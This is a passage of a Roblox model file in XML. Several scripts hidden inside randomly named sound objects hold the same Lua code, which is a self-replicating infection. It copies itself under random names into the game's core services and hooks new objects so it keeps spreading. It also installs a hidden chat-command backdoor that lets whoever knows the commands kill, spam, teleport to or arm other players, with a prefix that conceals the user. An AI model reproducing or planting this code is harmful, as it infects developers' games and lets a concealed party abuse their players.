speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX727">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1j62htbs</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX728">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">za0t652k</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX729">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">OOOOOOO</string>
						<Ref name="PrimaryPart">RBX730</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX730">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-194.794281</X>
								<Y>5.01083946</Y>
								<Z>-7.88088989</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX731">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX732">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">w9bu5nlka</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX733">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">oabq47o</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
